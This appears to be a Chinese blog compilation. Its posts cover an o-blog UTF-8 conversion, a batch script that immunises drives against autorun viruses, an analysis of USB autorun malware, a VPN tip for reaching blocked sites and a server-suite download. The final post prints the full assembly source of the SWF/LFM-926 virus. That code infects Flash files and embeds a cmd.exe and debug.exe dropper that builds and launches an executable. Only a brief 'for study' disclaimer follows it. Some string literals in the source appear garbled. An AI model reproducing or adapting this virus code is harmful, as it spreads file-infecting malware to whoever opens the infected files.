把o-blog的編碼轉換為utf8的過程

        前幾天我把我使用的o-blog轉換為utf8了。現在我整理了一下資料,把轉換的過程記錄下來,與大家分享一下經驗,希望o-blog的新版本中可以出現utf8版本。我現在使用 o-blog 的版本為2.6如果版本不對,請你下載2.6版本.
       在轉換之前,我有必要提醒你一下,你必須要把所有的網頁和數據庫的內容備份一下,萬一轉換的過程失敗,你也可以迅速恢復數據或者可以重新轉換。
如果你備份好數據了,那我們開始吧。我轉換的思想是:將所有的文本文件的編碼改為utf8,再建立新的charset為utf8的數據庫。
        首先,要把o-blog使用的所有文本文件的編碼改為utf8,這里所說的文本文件包括o-blog所有的php和模板文件中的html、css文件。上網搜索了一下,可以選擇的工具有UltraEdit和EditPlus。不過我使用的是EditPlus。將一個打開,再選擇另保存為,再覆蓋原來的文件就可以了。在此過程,可能有些文件的編碼無法保存為utf8,可以先不管。   
      下面開始修改文件。
       打開 admin/class/mysql.php,找到下面的這一行
      mysql_select_db($dbname);
     在其前面加入以下代碼:   
      if($this->version() > '4.1') {
   mysql_query("SET NAMES 'utf8'");
          mysql_query("SET CHARACTER_SET_CLIENT=utf8");
          mysql_query("SET CHARACTER_SET_RESULTS=utf8");
  } else        
if($this->version() > '5.0.1') {
      mysql_query("SET sql_mode=''");
}  
        使用EditPlus菜單“查找”下的“在文件中查找”對話框查找charset=gb2312,其中文件夾選擇o-blog所在的目錄,這樣可以省很多的功夫.找到后把charset=gb2312替換為charset=utf-8.      
        其次要修改原來install.php文件
        把 TYPE=MyISAM 替換為 ENGINE=MyISAM  DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci。
        然后在你的空間中運行install.php,進行新的安裝,如果你使用的數據庫和原來的那個相同,我特別要提醒你,使用的表的前綴必須要和原來的不同,要不然會造成數據庫里面原來的數據被覆蓋。
       安裝結束后你可以打開o-blog來看看頁面上是否出現亂碼,如果出現了亂碼,你得查看你使用php文件和模板文件的編碼是否為utf8. 如果顯示的文字,還未算轉換成功。由于o-blog里面使用的切割字符串函數并不是用來切割utf8字符集,在切割得出的字符串中最后一個漢字的編碼很有可能不完全,這樣在網頁的源代碼中看到的所有中文是亂碼。下面要打開admin/functions.php查找 “cn_substr”函數,大概在272行,在其前面加入以下函數:
// 用來避免 utf8 亂碼
function utf8_trim($str) {
    $len = strlen($str);
    for($i=strlen($str)-1;$i>=0;$i-=1){
        $hex .= ' '.ord($str[$i]);
        $ch   = ord($str[$i]);
        if(($ch & 128)==0)    return substr($str,0,$i);
        if(($ch & 192)==192)return substr($str,0,$i);
    }
    return($str.$hex);
}
前往 291 行,就會看到 return $s."...";
在前面一行加入調用utf8_trim的以下代碼
$s = utf8_trim($s);
這樣的做法存在冗余的代碼,不過這樣做是最為簡單的,希望風色可以進行改進。
      按照網上的說法,還要修改函數htmlspecialchars,把原來的用法
      $s=htmlspecialchars($s);
      改為 $s = htmlspecialchars($s,ENT_QUOTES,"UTF-8");
      我修改了一部分就沒有修改了,因為我發現blog已經沒有亂碼問題了,查看數據庫里面的內容,挺很正常。所以我也不知道那個修改有沒有用了,有興趣的網友可以試試看。
不知道你們轉換怎么樣了呢?我的可以正常運行了。
       下面還有一個問題,怎么樣把原來的數據導入到里面去。我想到了兩個解決的方向。
第一、后臺里面的數據的導入導出。導入的數據會轉換為gb2312,這是與現在使用utf8沖突的,這就需要修改現在代碼,把原來備份的數據導進去。我沒有深入了解那部分的代碼,所以我不知道怎么修改,解決了導入,還要解決導出的問題。
第二、在另外一個博客程序cblog中,有把o-blog轉換為cblog的程序,可以把gb2312編碼的數據轉換為utf8并插入到現在使用的數據庫里面去。可能修改一下代碼就可以拿來用了。可是這部分我也沒有研究,我的日志比較少,基本上已經手動輸入到現在使用的博客里面去了。
        希望風色或者longbill研究一下,怎么處理好數據的導入導出這部分,更加希望擁有新版本的o-blog。
        如果文章中還有遺漏的地方,請提出來,我邊修改邊測試的,當時沒有作記錄,現在也是考記憶來寫這篇文章了。
        我在寫這篇文章的時候,longbill也處理好轉換為utf8的問題了,呵呵,恭喜!

編寫autorun病毒免疫工具

autorun病毒的危害相信中過招的人都有體會。其最大的特點就在于很難清除干凈,現在可以提前對系統分區做一次免疫工作,而那些已經中了autorun病毒的用戶也能順便將病毒清除。  
    
有人曾經使用系統組策略的方法,不過對于初學者來說有點復雜。現在復制以下代碼到文本文件中,保存為bat文件即可。
    @echo off
cls
echo          按 S 鍵刪除Autorun.inf并進行免疫
echo.
echo          按 D 鍵刪除免疫程序
echo.
echo          按其他任意鍵退出
echo.
echo.
SET Choice=
SET /P Choice=        請選擇要進行的操作:  
IF /I ’%Choice:~0,1%’==’s’ GOTO setup
IF /I ’%Choice:~0,1%’==’d’ GOTO Delset
IF /I ’%Choice:~0,1%’==’q’ GOTO Exit
exit
:Setup
taskkill /im explorer.exe /f
for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do @(
    if exist %%a: (
        rd %%a:\autorun.inf /s /q
        del %%a:\autorun.inf /f /q
        mkdir %%a:\autorun.inf
        mkdir %%a:\autorun.inf\"病毒免疫勿刪除../" 
        attrib +h +r +s %%a:\autorun.inf
        
    ) 
)
start explorer.exe
for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
  if exist %%a:\nul (
    >1.vbs echo msgbox^ "%%a:免疫成功",64,"提示:"
    1.vbs
  )
)
del 1.vbs
echo.
echo.
echo                        按任意鍵退出...
pause>nul
exit
:delset
For %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do @(
    If Exist %%a: (      
        rd %%a:\autorun.inf /s /q
                
    ) 
)
echo.
echo.
echo                        操作完畢,按任意鍵退出...
pause>nul
exit

    具體原理為通過檢測autorun.inf和刪除相應文件達到直接消滅病毒的目的。操作比較簡單,只要按兩個鍵就可以了。

U盤(auto病毒)類病毒分析與解決方案

一、U盤病毒簡述: 
  U盤(自動運行)類病毒(auto病毒)近來非常常見,并且具有一定程度危害,它的機理是依賴Windows的自動運行功能,使得我們在點擊打開磁盤的時候,自動執行相關的文件。目前我們使用U盤都十分頻繁,當我們享受U盤所帶來的方便時,U盤病毒也在悄悄利用系統的自動運行功能肆意傳播,目前流行的U盤病毒文件大家甚至耳熟能詳了,比如經常有網友問的SSS.EXE SXS.EXE如何查殺這類的,下面我們將對U盤病毒極其特性和防范辦法進行分析總結。
  
二、特性分析:
  所謂的自動運行功能是指Windows系統一種方便特性,使當光盤、U盤插入到機器自動運行,而這種特性的實現就是通過磁盤跟目錄下的 autorun.inf文件進行。這個文件保存在驅動器的根目錄下(一般會是一個隱藏屬性的系統文件),它保存著一些簡單的命令,告知系統新插入的光盤或 U盤應該自動啟動什么程序等。
  常見的Autorun.inf文件格式大致如下:
  [AutoRun]    //表示AutoRun部分開始,必須輸入
  icon=C:\C.ico  //指定給C盤一個個性化的盤符圖標C.ico
  open=C:\1.exe  //指定要運行程序的路徑和名稱,只要在此放入病毒程序就可自動運行;
  在Windows系統有允許和阻止自動運行的鍵值的方法:
  在注冊表中找到如下鍵:
  鍵路徑:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer]
  在右側窗格中有 "NoDriveTypeAutoRun"這個鍵決定了是否執行Autorun功能.其中每一位代表一個設備,不同設備用以下數值表示:
  設備名稱 第幾位 值 設備用如下數值表示 設備名稱含義
  DRIVE_UNKNOWN 0 1 01h 不能識別的類型設備
  DRIVE_NO_ROOT_DIR 1 0 02h 沒有根目錄的驅動器
  DRIVE_REMOVABLE 2 1 04h 可移動驅動器
  DRIVE_FIXED 3 0 08h 固定的驅動器
  DRIVE_REMOTE 4 1 10h 網絡驅動器
  DRIVE_CDROM 5 0 20h 光驅
  DRIVE_RAMDISK 6 0 40h RAM磁盤
  其中: 保留 7 1 80h  未指定的驅動器類型
  以上值"0"表示設備運行,"1"表示設備不運行。
  從上面可以看出,對應的DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK是可以自動運行的。所以要禁止硬盤自動運行AutoRun.inf文件,就必須將DRIVE_FIXED這些鍵的值設為1,由于DRIVE_FIXED代表固定的驅動 器(即硬盤)。如果僅想禁止軟件光盤的AutoRun功能,但又保留對CD音頻碟的自動播放能力,這時只需將“NoDriveTypeAutoRun”的鍵值改為:BD,00,00,00即可。
  U盤病毒就是利用這種系統特性,一般在感染后會修改系統的注冊表,將顯示所有文件的選項設置為禁止。甚至修改磁盤關聯,殺毒軟件一般會只把病毒文件清除,但對殘余的文件不會處理。這也是常見的殺毒軟件為什么常常無法清除干凈,或者清除后雙擊無法打開磁盤的原因。
  
三、解決方案:
  1、使用超級巡警套裝來全面解決U盤病毒問題(推薦!):
  ①超級巡警對U盤病毒檢測進行了特別的處理,可以快速的監測和定位U盤病毒,并清除它們。
  ②超級巡警同時還提供對注冊表關聯修復和自動運行阻止的處理。
  2、手動解決辦法:
  ①根據上面的原理,自己修改注冊表禁止磁盤的自動運行特性。
  ②把文件夾選項中隱藏受保護的操作系統文件鉤掉,選中顯示所有文件和文件夾,點擊確定。這樣可以在感染病毒的移動存儲設備中會看到幾個文件(包括autorun.inf和病毒文件),刪除后,病毒就清除了。

利用 hotspot shield 訪問你想訪問的站點

hotspot shield 是一個在訪問 wi-fi 熱點時讓你處于匿名狀態、保護你隱私的工具,它通過在你的計算機和無線路由間創建一個 VPN,可以將你在互聯網上的所有活動自動加密并通過 wi-fi 進行傳輸。attachments/200710/4395408838.png
我們要關注的是,利用 hotspot shield,能夠將我們的 ip 地址偽裝成美國的,這樣一來,很多由于
不可抗力因素不能訪問的站點都能夠輕輕松松的進行瀏覽了。相比@無&界@和@自&由#門@,它的速度還是比較快的,并且沒有瀏覽器種類的限制。
另外,一些 web 2.0 站點在測試時的注冊有國家限制,比如說只對美國和加拿大開放,通過 hotspot shield 現在你也可以很輕松的注冊了。

XmiServer_v2.4.2 ASP+CGI+PHP+JSP+MySQL 全能服務器套件

XmiServer_v2.4.2 ASP+CGI+PHP+JSP+MySQL 全能服務器套件發布!

軟件名稱:XmiServer_v2.4.2
軟件版本:v2.4.2
軟件授權:免費軟件
使用平臺:WinNT/XP/2000/2003

下載地址
  1.  下載文件XmiServer_v2.4.2 ASP+CGI+PHP+JSP+MySQL 全能服務器套件.rar (0 Byte , 下載:285次)  (推薦!高速下載!)
  2. http://pickup.mofile.com/cn/index.do (MoFile) 請在左上角輸入文件提取碼: 6376342876538358  (有時效!!!)

簡介:
XmiServer_v2.4是一款基于Apache+Tomcat的全能服務器套件,
擁有安裝簡單、便捷、綠色、免配置等特點,
可以快速搭建 ASP+CGI+PHP+JSP+MySQL 全能網站服務器平臺,
方便您調試和開發ASP、CGI、PHP、JSP 等程序。

目錄簡要說明:
XmiServer
├─Links 各組件快捷鏈接
├─Server 程序主目錄
│ ├─Apache Apache程序目錄
│ ├─Database MySQL 數據庫目錄
│ │ ├─Database_MySQL5 MySQL5 數據庫目錄
│ │ └─Database_MySQL4 MySQL4 數據庫目錄
│ ├─JAVA JAVA程序目錄
│ ├─MySQL4 MySQL4 程序目錄
│ ├─MySQL5 MySQL5 程序目錄
│ ├─PHP PHP程序目錄
│ ├─phpMyAdmin phpMyAdmin目錄
│ ├─TempLogs 臨時文件及日志文件目錄
│ ├─Tomcat Tomcat程序目錄
│ └─Zend Zend Optimizer 程序目錄
└─wwwRoot 虛擬主機網站根目錄
├─asp ASP程序目錄
├─cgi-bin CGI程序目錄
└─webapps JSP程序目錄

使用程序版本:
Apache v2.2.4
Tomcat v5.5.20
Netbox v2.8.4128
PHP v5.2.0
MySQL5 v5.0.27
MySQL4 v4.0
MiniPerl v5.8
JDK v1.5.0_07
Zend v3.2.0
phpMyAdmin v2.9.1.1

國外的第一只[感染*.swf]flash病毒的源代碼

SWF/LFM-926 Virus:
; ------------------
; Description: WinNT/XP Virus dropper for Flash .SWF files!
; Masm Version 6.11: ML.EXE SWF.ASM
; Virus Size: 926 bytes
; Infection Size: 3247 bytes.
; Last Edit: 01/08/2002

; --------------------------------- Begin Source Code ------------------------------------

.286
.model tiny
.code
org 100h

Entry: jmp Start

VIR_SIZE equ Virus_End-Entry

DTA db 128 dup(0) ; Offset DTA+30 = filename
HANDLE dw ? ; Handle to host file
PTR1 dd 0 ; Segment address of the created memory block
PATH db "*.SWF",0 ; File mask
BINARY db "v.com",0 ; Binary code
HEX db "0123456789ABCDEF" ; Binary to hex

; Flash header block.
; -------------------
SIGN_FW dw ? ; SWF file format
SIGN_S db ?
VERSION_NUM db ?
FILE_LENGTH dw ?
dw ?
STATIC_HDR_SIZE equ $-SIGN_FW

RECT_BUF db 20 dup(0) ; Header length is variable because the RECT region isnt static. ;(
RECT_BUF_SIZE equ $-RECT_BUF

HDR_SIZE dw ? ; Holds the true header size!

; Start of Viral Frame 0.
; -----------------------
Drop_BEGIN db 03fh,003h ; DoAction Tag(12) long format. Learn the bytecodes!
TAG_LENGTH dw 0 ; (ACTION LENGTH+3)+1[END_TAG]
dw 0
db 083h ; ActionGetUrl Tag
ACTION_LENGTH dw 0 ; (Drop_BEGIN_SIZE-9)+(SUM OF Drop_MIDDLE)+(Drop_END_SIZE)
db FSCommand:exec
db 000h
db cmd.exe
db 009h ; chr(9) is Flash code for a space character.
db /c
db 009h
db echo
db 009h
db Loading.Flash.Movie...
db &
db (echo
db 009h
db n
db 009h
db v.com&echo
db 009h
db a
db 009h
db 100&
Drop_BEGIN_SIZE equ $-Drop_BEGIN

Drop_MIDDLE db echo
db 009h
db db
db 009h
db 71 dup(,) ; db XX,...,XX where XXs are viral hex codes.
db &
Drop_MIDDLE_SIZE equ $-Drop_MIDDLE

Drop_END db &echo.&echo
db 009h
db rcx&echo
db 009h
db 39E ; Define hex 39E (VIR_SIZE) as a string. Changes if this code changes.
db &echo
db 009h
db w&echo
db 009h
db q)|debug.exe>nul&start
db 009h
db /b
db 009h
db v.com
db 000h ; StringEnd Tag
Drop_END_SIZE equ $-Drop_END

; End of Viral Frame 0.
; ---------------------
END_TAG db 001h ; Action code 0x01 = tagshowframe Tag

Start:
mov ax,(VIR_SIZE+0fh)
shr ax,4
shl ax,1
mov bx,ax ; Allocate (VirusSize*2)
mov ah,4ah
int 21h ; Resize block
jc ExProg

mov dx,offset DTA ; Set DTA operation
mov ah,1ah
int 21h

mov cx,07h
mov dx,offset PATH
mov ah,4eh ; FindFirst
int 21h
jc ExProg
jmp Infect
Cycle:
mov dx,offset PATH
mov ah,4fh ; FindNext
int 21h
jc ExProg
jmp Infect
ExProg:
mov ax,4301h ; Hide v.com
mov cx,02h
mov dx,offset BINARY
int 21h

mov ax,4c00h ; End program
int 21h
Infect:
mov byte ptr DTA[30+12],$
mov dx,offset (DTA+30)

mov ax,3d02h ; Open host file
int 21h
jc ExProg

mov [HANDLE],ax ; Save file handle

mov ax,3f00h ; Read file Header
mov dx,offset SIGN_FW
mov bx,[HANDLE]
mov cx,(STATIC_HDR_SIZE+RECT_BUF_SIZE)
int 21h
jc ExProg

cmp word ptr SIGN_FW,WF ; Check for a valid Flash SWF file.
jne Cycle ; Try another file ...
cmp byte ptr SIGN_S,S
jne Cycle
cmp byte ptr VERSION_NUM,099h ; Already infected?
je Cycle

mov cx,RECT_BUF_SIZE ; Search for the SetBackgroundColor Tag.
xor di,di ; Seems to always exist directly after the header.
next: cmp byte ptr RECT_BUF[di],043h
jne not_found
cmp byte ptr RECT_BUF[di+1],002h
jne not_found
jmp found
not_found:
inc di
loop next
jmp Cycle
found:
mov word ptr HDR_SIZE,STATIC_HDR_SIZE
add word ptr HDR_SIZE,di ; Compute the header size

mov ax,4200h ; Reset file ptr right after Flash header
xor cx,cx
mov dx,[HDR_SIZE]
int 21h
jc ExProg

push bx
mov ax,word ptr FILE_LENGTH
add ax,15
shr ax,4
mov bx,ax
mov ah,48h ; Allocate memory for target host file
int 21h
pop bx
jc ExProg
mov word ptr PTR1[2],ax ; Save pointer to allocated block

mov cx,word ptr FILE_LENGTH
sub cx,[HDR_SIZE]
mov ah,3fh ; Read host file into memory block
push ds
lds dx,[PTR1]
int 21h
pop ds
jc ExProg

mov ax,4200h ; Reset file ptr to the middle code section
xor cx,cx
mov dx,[HDR_SIZE]
add dx,Drop_BEGIN_SIZE
int 21h
jc ExProg

;
; The following code is a key technique. It simply converts the
; virus from binary to hex characters and then inserts them into the host
; using a standard format that DEBUG.EXE expects! Flash only really
; allows plain text, so this satisfies that condition.
;

mov word ptr ACTION_LENGTH,(Drop_BEGIN_SIZE-9+Drop_END_SIZE)
push bx
mov cx,VIR_SIZE
xor si,si
xor di,di
ToHex:
mov bx,offset HEX ; Convert 8-bit binary number to a string representing a hex humber
mov al,byte ptr Entry[si]
mov ah,al
and al,00001111y
xlat
mov Drop_MIDDLE[STATIC_HDR_SIZE+di+1],al
shr ax,12
xlat
mov Drop_MIDDLE[STATIC_HDR_SIZE+di],al
inc si
inc di
inc di
inc di
mov ax,si
mov bl,24 ; Debug.exe can handle at most 24 defined bytes on 1 line.
div bl
or ah,ah
jnz cont
push cx
xor di,di
add word ptr ACTION_LENGTH,Drop_MIDDLE_SIZE
mov bx,[HANDLE] ; Write hex dump entry XX,...,XX
mov dx,offset Drop_MIDDLE
mov cx,Drop_MIDDLE_SIZE
mov ax,4000h
int 21h
jc ExProg
pop cx
cont:
loop ToHex
pop bx

or di,di
jz no_remainder

mov dx,offset Drop_MIDDLE
mov cx,di
add cx,7 ; STATIC_HDR_SIZE-1
add word ptr ACTION_LENGTH,cx
mov ax,4000h ; Write remainder hex dump entry XX,...,XX
int 21h
jc ExProg

no_remainder:
mov dx,offset Drop_END
mov cx,Drop_END_SIZE+1
mov ax,4000h ; Write end code and end of frame tag(01) into host
int 21h
jc ExProg

mov cx,word ptr FILE_LENGTH
sub cx,[HDR_SIZE]
mov ax,4000h ; Write host code directly after viral code.
push ds
lds dx,[PTR1]
int 21h
pop ds
jc ExProg
; Patch the header with new viral values.
mov cx,word ptr ACTION_LENGTH
add cx,4
mov word ptr TAG_LENGTH,cx
add cx,6
add word ptr FILE_LENGTH,cx ; Total file size increase = (TAG_LENGTH+6)
; Set infection marker
mov byte ptr VERSION_NUM,099h

mov di,[HDR_SIZE]
inc word ptr [SIGN_FW+di-2] ; Increase Frame count by 1

mov ax,4200h ; Re-wind to start of file
xor cx,cx
xor dx,dx
int 21h
jc ExProg

mov dx,offset SIGN_FW
mov cx,[HDR_SIZE]
mov ax,4000h ; Write updated viral header
int 21h
jc ExProg

mov dx,offset Drop_BEGIN
mov cx,Drop_BEGIN_SIZE
mov ax,4000h ; Write begin code into host
int 21h
jc ExProg

mov ah,49h ; Free memory block
mov es,word ptr PTR1[2]
int 21h
jc ExProg

mov ax,3e00h ; Close file
int 21h
jc ExProg

jmp Cycle ; DONE! Try to infect another.

Virus_End:
end Entry

被復仇天說后,重新看了下文件,感覺有點問題 ,特重新更改標題。
以上內容只供學習、研究使用,如果利用其來搞破壞或者是做些違法的事情。